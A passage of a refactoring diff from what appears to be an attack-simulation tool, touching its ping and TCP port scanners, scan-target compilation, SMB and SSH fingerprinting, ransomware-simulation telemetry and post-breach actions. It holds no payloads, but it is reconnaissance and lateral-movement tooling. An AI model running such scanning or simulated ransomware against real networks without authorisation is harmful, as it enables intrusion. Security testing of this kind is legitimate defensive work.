else: # as far we we know, could also be OSX/BSD, but lets handle that when it comes up.
|
|
||||||
operating_system = OperatingSystem.WINDOWS
|
|
||||||
|
|
||||||
return PingScanData(True, operating_system)
|
return PingScanData(True, operating_system)
|
||||||
|
|
||||||
|
@ -93,3 +101,15 @@ def _build_ping_command(host: str, timeout: float):
|
||||||
|
|
||||||
# on older version of ping the timeout must be an integer, thus we use ceil
|
# on older version of ping the timeout must be an integer, thus we use ceil
|
||||||
return ["ping", ping_count_flag, "1", ping_timeout_flag, str(math.ceil(timeout)), host]
|
return ["ping", ping_count_flag, "1", ping_timeout_flag, str(math.ceil(timeout)), host]
|
||||||
|
|
||||||
|
|
||||||
|
def _generate_ping_scan_event(
|
||||||
|
host: str, ping_scan_data: PingScanData, event_timestamp: float
|
||||||
|
) -> PingScanEvent:
|
||||||
|
return PingScanEvent(
|
||||||
|
source=get_agent_id(),
|
||||||
|
target=IPv4Address(host),
|
||||||
|
timestamp=event_timestamp,
|
||||||
|
response_received=ping_scan_data.response_received,
|
||||||
|
os=ping_scan_data.os,
|
||||||
|
)
|
||||||
|
|
|
@ -2,34 +2,31 @@ import itertools
|
||||||
import logging
|
import logging
|
||||||
import socket
|
import socket
|
||||||
from ipaddress import IPv4Interface
|
from ipaddress import IPv4Interface
|
||||||
from typing import Dict, List
|
from typing import Dict, Iterable, List, Optional, Sequence
|
||||||
|
|
||||||
from common.network.network_range import InvalidNetworkRangeError, NetworkRange
|
from common.network.network_range import InvalidNetworkRangeError, NetworkRange
|
||||||
from infection_monkey.network import NetworkAddress
|
from infection_monkey.network import NetworkAddress
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
# TODO: We can probably reduce code and save ourselves some trouble if we use IPv4Address and
|
|
||||||
# IPv4Network. See https://docs.python.org/3/library/ipaddress.html
|
|
||||||
|
|
||||||
|
|
||||||
def compile_scan_target_list(
|
def compile_scan_target_list(
|
||||||
local_network_interfaces: List[IPv4Interface],
|
local_network_interfaces: Sequence[IPv4Interface],
|
||||||
ranges_to_scan: List[str],
|
ranges_to_scan: Sequence[str],
|
||||||
inaccessible_subnets: List[str],
|
inaccessible_subnets: Sequence[str],
|
||||||
blocklisted_ips: List[str],
|
blocklisted_ips: Sequence[str],
|
||||||
enable_local_network_scan: bool,
|
scan_my_networks: bool,
|
||||||
) -> List[NetworkAddress]:
|
) -> List[NetworkAddress]:
|
||||||
scan_targets = _get_ips_from_subnets_to_scan(ranges_to_scan)
|
scan_targets = _get_ips_from_subnets_to_scan(ranges_to_scan)
|
||||||
|
|
||||||
if enable_local_network_scan:
|
if scan_my_networks:
|
||||||
scan_targets.extend(_get_ips_to_scan_from_local_interface(local_network_interfaces))
|
scan_targets.extend(_get_ips_to_scan_from_interface(local_network_interfaces))
|
||||||
|
|
||||||
if inaccessible_subnets:
|
if inaccessible_subnets:
|
||||||
inaccessible_subnets = _get_segmentation_check_targets(
|
other_targets = _get_segmentation_check_targets(
|
||||||
inaccessible_subnets, local_network_interfaces
|
inaccessible_subnets, local_network_interfaces
|
||||||
)
|
)
|
||||||
scan_targets.extend(inaccessible_subnets)
|
scan_targets.extend(other_targets)
|
||||||
|
|
||||||
scan_targets = _remove_interface_ips(scan_targets, local_network_interfaces)
|
scan_targets = _remove_interface_ips(scan_targets, local_network_interfaces)
|
||||||
scan_targets = _remove_blocklisted_ips(scan_targets, blocklisted_ips)
|
scan_targets = _remove_blocklisted_ips(scan_targets, blocklisted_ips)
|
||||||
|
@ -39,8 +36,8 @@ def compile_scan_target_list(
|
||||||
return scan_targets
|
return scan_targets
|
||||||
|
|
||||||
|
|
||||||
def _remove_redundant_targets(targets: List[NetworkAddress]) -> List[NetworkAddress]:
|
def _remove_redundant_targets(targets: Sequence[NetworkAddress]) -> List[NetworkAddress]:
|
||||||
reverse_dns: Dict[str, str] = {}
|
reverse_dns: Dict[str, Optional[str]] = {}
|
||||||
for target in targets:
|
for target in targets:
|
||||||
domain_name = target.domain
|
domain_name = target.domain
|
||||||
ip = target.ip
|
ip = target.ip
|
||||||
|
@ -52,14 +49,15 @@ def _remove_redundant_targets(targets: List[NetworkAddress]) -> List[NetworkAddr
|
||||||
def _range_to_addresses(range_obj: NetworkRange) -> List[NetworkAddress]:
|
def _range_to_addresses(range_obj: NetworkRange) -> List[NetworkAddress]:
|
||||||
addresses = []
|
addresses = []
|
||||||
for address in range_obj:
|
for address in range_obj:
|
||||||
if hasattr(range_obj, "domain_name"):
|
try:
|
||||||
addresses.append(NetworkAddress(address, range_obj.domain_name))
|
domain = range_obj.domain_name # type: ignore
|
||||||
else:
|
except AttributeError:
|
||||||
addresses.append(NetworkAddress(address, None))
|
domain = None
|
||||||
|
addresses.append(NetworkAddress(address, domain))
|
||||||
return addresses
|
return addresses
|
||||||
|
|
||||||
|
|
||||||
def _get_ips_from_subnets_to_scan(subnets_to_scan: List[str]) -> List[NetworkAddress]:
|
def _get_ips_from_subnets_to_scan(subnets_to_scan: Iterable[str]) -> List[NetworkAddress]:
|
||||||
ranges_to_scan = NetworkRange.filter_invalid_ranges(
|
ranges_to_scan = NetworkRange.filter_invalid_ranges(
|
||||||
subnets_to_scan, "Bad network range input for targets to scan:"
|
subnets_to_scan, "Bad network range input for targets to scan:"
|
||||||
)
|
)
|
||||||
|
@ -68,7 +66,7 @@ def _get_ips_from_subnets_to_scan(subnets_to_scan: List[str]) -> List[NetworkAdd
|
||||||
return _get_ips_from_ranges_to_scan(network_ranges)
|
return _get_ips_from_ranges_to_scan(network_ranges)
|
||||||
|
|
||||||
|
|
||||||
def _get_ips_from_ranges_to_scan(network_ranges: List[NetworkRange]) -> List[NetworkAddress]:
|
def _get_ips_from_ranges_to_scan(network_ranges: Iterable[NetworkRange]) -> List[NetworkAddress]:
|
||||||
scan_targets = []
|
scan_targets = []
|
||||||
|
|
||||||
for _range in network_ranges:
|
for _range in network_ranges:
|
||||||
|
@ -76,8 +74,8 @@ def _get_ips_from_ranges_to_scan(network_ranges: List[NetworkRange]) -> List[Net
|
||||||
return scan_targets
|
return scan_targets
|
||||||
|
|
||||||
|
|
||||||
def _get_ips_to_scan_from_local_interface(
|
def _get_ips_to_scan_from_interface(
|
||||||
interfaces: List[IPv4Interface],
|
interfaces: Sequence[IPv4Interface],
|
||||||
) -> List[NetworkAddress]:
|
) -> List[NetworkAddress]:
|
||||||
ranges = [str(interface) for interface in interfaces]
|
ranges = [str(interface) for interface in interfaces]
|
||||||
|
|
||||||
|
@ -88,14 +86,14 @@ def _get_ips_to_scan_from_local_interface(
|
||||||
|
|
||||||
|
|
||||||
def _remove_interface_ips(
|
def _remove_interface_ips(
|
||||||
scan_targets: List[NetworkAddress], interfaces: List[IPv4Interface]
|
scan_targets: Sequence[NetworkAddress], interfaces: Iterable[IPv4Interface]
|
||||||
) -> List[NetworkAddress]:
|
) -> List[NetworkAddress]:
|
||||||
interface_ips = [str(interface.ip) for interface in interfaces]
|
interface_ips = [str(interface.ip) for interface in interfaces]
|
||||||
return _remove_ips_from_scan_targets(scan_targets, interface_ips)
|
return _remove_ips_from_scan_targets(scan_targets, interface_ips)
|
||||||
|
|
||||||
|
|
||||||
def _remove_blocklisted_ips(
|
def _remove_blocklisted_ips(
|
||||||
scan_targets: List[NetworkAddress], blocked_ips: List[str]
|
scan_targets: Sequence[NetworkAddress], blocked_ips: Sequence[str]
|
||||||
) -> List[NetworkAddress]:
|
) -> List[NetworkAddress]:
|
||||||
filtered_blocked_ips = NetworkRange.filter_invalid_ranges(
|
filtered_blocked_ips = NetworkRange.filter_invalid_ranges(
|
||||||
blocked_ips, "Invalid blocked IP provided:"
|
blocked_ips, "Invalid blocked IP provided:"
|
||||||
|
@ -106,14 +104,14 @@ def _remove_blocklisted_ips(
|
||||||
|
|
||||||
|
|
||||||
def _remove_ips_from_scan_targets(
|
def _remove_ips_from_scan_targets(
|
||||||
scan_targets: List[NetworkAddress], ips_to_remove: List[str]
|
scan_targets: Sequence[NetworkAddress], ips_to_remove: Iterable[str]
|
||||||
) -> List[NetworkAddress]:
|
) -> List[NetworkAddress]:
|
||||||
ips_to_remove_set = set(ips_to_remove)
|
ips_to_remove_set = set(ips_to_remove)
|
||||||
return [address for address in scan_targets if address.ip not in ips_to_remove_set]
|
return [address for address in scan_targets if address.ip not in ips_to_remove_set]
|
||||||
|
|
||||||
|
|
||||||
def _get_segmentation_check_targets(
|
def _get_segmentation_check_targets(
|
||||||
inaccessible_subnets: List[str], local_interfaces: List[IPv4Interface]
|
inaccessible_subnets: Iterable[str], local_interfaces: Iterable[IPv4Interface]
|
||||||
) -> List[NetworkAddress]:
|
) -> List[NetworkAddress]:
|
||||||
ips_to_scan = []
|
ips_to_scan = []
|
||||||
local_ips = [str(interface.ip) for interface in local_interfaces]
|
local_ips = [str(interface.ip) for interface in local_interfaces]
|
||||||
|
@ -134,17 +132,17 @@ def _get_segmentation_check_targets(
|
||||||
return ips_to_scan
|
return ips_to_scan
|
||||||
|
|
||||||
|
|
||||||
def _convert_to_range_object(subnets: List[str]) -> List[NetworkRange]:
|
def _convert_to_range_object(subnets: Iterable[str]) -> List[NetworkRange]:
|
||||||
return [NetworkRange.get_range_obj(subnet) for subnet in subnets]
|
return [NetworkRange.get_range_obj(subnet) for subnet in subnets]
|
||||||
|
|
||||||
|
|
||||||
def _is_segmentation_check_required(
|
def _is_segmentation_check_required(
|
||||||
local_ips: List[str], subnet1: NetworkRange, subnet2: NetworkRange
|
local_ips: Sequence[str], subnet1: NetworkRange, subnet2: NetworkRange
|
||||||
):
|
):
|
||||||
return _is_any_ip_in_subnet(local_ips, subnet1) and not _is_any_ip_in_subnet(local_ips, subnet2)
|
return _is_any_ip_in_subnet(local_ips, subnet1) and not _is_any_ip_in_subnet(local_ips, subnet2)
|
||||||
|
|
||||||
|
|
||||||
def _is_any_ip_in_subnet(ip_addresses: List[str], subnet: NetworkRange):
|
def _is_any_ip_in_subnet(ip_addresses: Iterable[str], subnet: NetworkRange):
|
||||||
for ip_address in ip_addresses:
|
for ip_address in ip_addresses:
|
||||||
if subnet.is_in_range(ip_address):
|
if subnet.is_in_range(ip_address):
|
||||||
return True
|
return True
|
||||||
|
|
|
@ -6,13 +6,8 @@ from typing import Dict
|
||||||
from odict import odict
|
from odict import odict
|
||||||
|
|
||||||
from common import OperatingSystem
|
from common import OperatingSystem
|
||||||
from infection_monkey.i_puppet import (
|
from common.types import PingScanData, PortStatus
|
||||||
FingerprintData,
|
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
|
||||||
IFingerprinter,
|
|
||||||
PingScanData,
|
|
||||||
PortScanData,
|
|
||||||
PortStatus,
|
|
||||||
)
|
|
||||||
|
|
||||||
DISPLAY_NAME = "SMB"
|
DISPLAY_NAME = "SMB"
|
||||||
SMB_PORT = 445
|
SMB_PORT = 445
|
||||||
|
|
|
@ -2,7 +2,8 @@ import re
|
||||||
from typing import Dict, Optional, Tuple
|
from typing import Dict, Optional, Tuple
|
||||||
|
|
||||||
from common import OperatingSystem
|
from common import OperatingSystem
|
||||||
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData
|
from common.types import PingScanData
|
||||||
|
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
|
||||||
|
|
||||||
SSH_REGEX = r"SSH-\d\.\d-OpenSSH"
|
SSH_REGEX = r"SSH-\d\.\d-OpenSSH"
|
||||||
LINUX_DIST_SSH = ["ubuntu", "debian"]
|
LINUX_DIST_SSH = ["ubuntu", "debian"]
|
||||||
|
|
|
@ -1,13 +1,18 @@
|
||||||
import logging
|
import logging
|
||||||
import select
|
import select
|
||||||
import socket
|
import socket
|
||||||
import time
|
from ipaddress import IPv4Address
|
||||||
from pprint import pformat
|
from pprint import pformat
|
||||||
from typing import Collection, Iterable, Mapping, Tuple
|
from time import sleep, time
|
||||||
|
from typing import Collection, Dict, Iterable, Mapping, Tuple
|
||||||
|
|
||||||
|
from common.agent_events import TCPScanEvent
|
||||||
|
from common.event_queue import IAgentEventQueue
|
||||||
|
from common.types import PortStatus
|
||||||
from common.utils import Timer
|
from common.utils import Timer
|
||||||
from infection_monkey.i_puppet import PortScanData, PortStatus
|
from infection_monkey.i_puppet import PortScanData
|
||||||
from infection_monkey.network.tools import BANNER_READ, DEFAULT_TIMEOUT, tcp_port_to_service
|
from infection_monkey.network.tools import BANNER_READ, DEFAULT_TIMEOUT, tcp_port_to_service
|
||||||
|
from infection_monkey.utils.ids import get_agent_id
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -16,24 +21,44 @@ EMPTY_PORT_SCAN = {-1: PortScanData(-1, PortStatus.CLOSED, None, None)}
|
||||||
|
|
||||||
|
|
||||||
def scan_tcp_ports(
|
def scan_tcp_ports(
|
||||||
host: str, ports_to_scan: Collection[int], timeout: float
|
host: str, ports_to_scan: Collection[int], timeout: float, agent_event_queue: IAgentEventQueue
|
||||||
) -> Mapping[int, PortScanData]:
|
) -> Dict[int, PortScanData]:
|
||||||
try:
|
try:
|
||||||
return _scan_tcp_ports(host, ports_to_scan, timeout)
|
return _scan_tcp_ports(host, ports_to_scan, timeout, agent_event_queue)
|
||||||
except Exception:
|
except Exception:
|
||||||
logger.exception("Unhandled exception occurred while trying to scan tcp ports")
|
logger.exception("Unhandled exception occurred while trying to scan tcp ports")
|
||||||
return EMPTY_PORT_SCAN
|
return EMPTY_PORT_SCAN
|
||||||
|
|
||||||
|
|
||||||
def _scan_tcp_ports(host: str, ports_to_scan: Collection[int], timeout: float):
|
def _scan_tcp_ports(
|
||||||
open_ports = _check_tcp_ports(host, ports_to_scan, timeout)
|
host: str, ports_to_scan: Collection[int], timeout: float, agent_event_queue: IAgentEventQueue
|
||||||
|
) -> Dict[int, PortScanData]:
|
||||||
|
event_timestamp, open_ports = _check_tcp_ports(host, ports_to_scan, timeout)
|
||||||
|
|
||||||
return _build_port_scan_data(ports_to_scan, open_ports)
|
port_scan_data = _build_port_scan_data(ports_to_scan, open_ports)
|
||||||
|
|
||||||
|
tcp_scan_event = _generate_tcp_scan_event(host, port_scan_data, event_timestamp)
|
||||||
|
agent_event_queue.publish(tcp_scan_event)
|
||||||
|
|
||||||
|
return port_scan_data
|
||||||
|
|
||||||
|
|
||||||
|
def _generate_tcp_scan_event(
|
||||||
|
host: str, port_scan_data: Dict[int, PortScanData], event_timestamp: float
|
||||||
|
):
|
||||||
|
port_statuses = {port: psd.status for port, psd in port_scan_data.items()}
|
||||||
|
|
||||||
|
return TCPScanEvent(
|
||||||
|
source=get_agent_id(),
|
||||||
|
target=IPv4Address(host),
|
||||||
|
timestamp=event_timestamp,
|
||||||
|
ports=port_statuses,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def _build_port_scan_data(
|
def _build_port_scan_data(
|
||||||
ports_to_scan: Iterable[int], open_ports: Mapping[int, str]
|
ports_to_scan: Iterable[int], open_ports: Mapping[int, str]
|
||||||
) -> Mapping[int, PortScanData]:
|
) -> Dict[int, PortScanData]:
|
||||||
port_scan_data = {}
|
port_scan_data = {}
|
||||||
for port in ports_to_scan:
|
for port in ports_to_scan:
|
||||||
if port in open_ports:
|
if port in open_ports:
|
||||||
|
@ -53,7 +78,7 @@ def _get_closed_port_data(port: int) -> PortScanData:
|
||||||
|
|
||||||
def _check_tcp_ports(
|
def _check_tcp_ports(
|
||||||
ip: str, ports_to_scan: Collection[int], timeout: float = DEFAULT_TIMEOUT
|
ip: str, ports_to_scan: Collection[int], timeout: float = DEFAULT_TIMEOUT
|
||||||
) -> Mapping[int, str]:
|
) -> Tuple[float, Dict[int, str]]:
|
||||||
"""
|
"""
|
||||||
Checks whether any of the given ports are open on a target IP.
|
Checks whether any of the given ports are open on a target IP.
|
||||||
:param ip: IP of host to attack
|
:param ip: IP of host to attack
|
||||||
|
@ -70,6 +95,7 @@ def _check_tcp_ports(
|
||||||
connected_ports = set()
|
connected_ports = set()
|
||||||
open_ports = {}
|
open_ports = {}
|
||||||
|
|
||||||
|
event_timestamp = time()
|
||||||
try:
|
try:
|
||||||
logger.debug(
|
logger.debug(
|
||||||
"Connecting to the following ports %s" % ",".join((str(x) for x in ports_to_scan))
|
"Connecting to the following ports %s" % ",".join((str(x) for x in ports_to_scan))
|
||||||
|
@ -98,7 +124,7 @@ def _check_tcp_ports(
|
||||||
while (not timer.is_expired()) and sockets_to_try:
|
while (not timer.is_expired()) and sockets_to_try:
|
||||||
# The call to select() may return sockets that are writeable but not actually
|
# The call to select() may return sockets that are writeable but not actually
|
||||||
# connected. Adding this sleep prevents excessive looping.
|
# connected. Adding this sleep prevents excessive looping.
|
||||||
time.sleep(min(POLL_INTERVAL, timer.time_remaining))
|
sleep(min(POLL_INTERVAL, timer.time_remaining))
|
||||||
|
|
||||||
sock_objects = [s[1] for s in sockets_to_try]
|
sock_objects = [s[1] for s in sockets_to_try]
|
||||||
|
|
||||||
|
@ -134,7 +160,7 @@ def _check_tcp_ports(
|
||||||
|
|
||||||
_clean_up_sockets(possible_ports, connected_ports)
|
_clean_up_sockets(possible_ports, connected_ports)
|
||||||
|
|
||||||
return open_ports
|
return event_timestamp, open_ports
|
||||||
|
|
||||||
|
|
||||||
def _clean_up_sockets(
|
def _clean_up_sockets(
|
||||||
|
|
|
@ -70,7 +70,7 @@ class Ransomware:
|
||||||
self._send_telemetry(filepath, False, str(ex))
|
self._send_telemetry(filepath, False, str(ex))
|
||||||
|
|
||||||
def _send_telemetry(self, filepath: Path, success: bool, error: str):
|
def _send_telemetry(self, filepath: Path, success: bool, error: str):
|
||||||
encryption_attempt = FileEncryptionTelem(str(filepath), success, error)
|
encryption_attempt = FileEncryptionTelem(filepath, success, error)
|
||||||
self._telemetry_messenger.send_telemetry(encryption_attempt)
|
self._telemetry_messenger.send_telemetry(encryption_attempt)
|
||||||
|
|
||||||
@interruptible_function(msg="Received a stop signal, skipping leave readme")
|
@interruptible_function(msg="Received a stop signal, skipping leave readme")
|
||||||
|
|
|
@ -1,4 +1,6 @@
|
||||||
import logging
|
import logging
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
from common.utils.file_utils import InvalidPath, expand_path
|
from common.utils.file_utils import InvalidPath, expand_path
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
@ -12,7 +14,7 @@ class RansomwareOptions:
|
||||||
self.file_extension = options["encryption"]["file_extension"]
|
self.file_extension = options["encryption"]["file_extension"]
|
||||||
self.readme_enabled = options["other_behaviors"]["readme"]
|
self.readme_enabled = options["other_behaviors"]["readme"]
|
||||||
|
|
||||||
self.target_directory = None
|
self.target_directory: Optional[Path] = None
|
||||||
self._set_target_directory(options["encryption"]["directories"])
|
self._set_target_directory(options["encryption"]["directories"])
|
||||||
|
|
||||||
def _set_target_directory(self, os_target_directories: dict):
|
def _set_target_directory(self, os_target_directories: dict):
|
||||||
|
|
|
@ -66,7 +66,7 @@ def get_linux_usernames() -> Iterable[str]:
|
||||||
return USERS
|
return USERS
|
||||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as err:
|
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as err:
|
||||||
logger.error(
|
logger.error(
|
||||||
f"An exception occured on fetching linux usernames,"
|
f"An exception occurred while fetching linux usernames,"
|
||||||
f"PBA: {POST_BREACH_CLEAR_CMD_HISTORY}: {str(err)}"
|
f"PBA: {POST_BREACH_CLEAR_CMD_HISTORY}: {str(err)}"
|
||||||
)
|
)
|
||||||
return []
|
return []
|
||||||
|
|
|
@ -83,11 +83,12 @@ class CustomPBA(PBA):
|
||||||
if not status:
|
if not status:
|
||||||
status = ScanStatus.USED
|
status = ScanStatus.USED
|
||||||
|
|
||||||
|
server_ip = str(self.control_client.server_address.ip)
|
||||||
self.telemetry_messenger.send_telemetry(
|
self.telemetry_messenger.send_telemetry(
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
status,
|
status,
|
||||||
self.control_client.server_address.split(":")[0],
|
server_ip,
|
||||||
get_interface_to_target(self.control_client.server_address.split(":")[0]),
|
get_interface_to_target(server_ip),
|
||||||
filename,
|
filename,
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue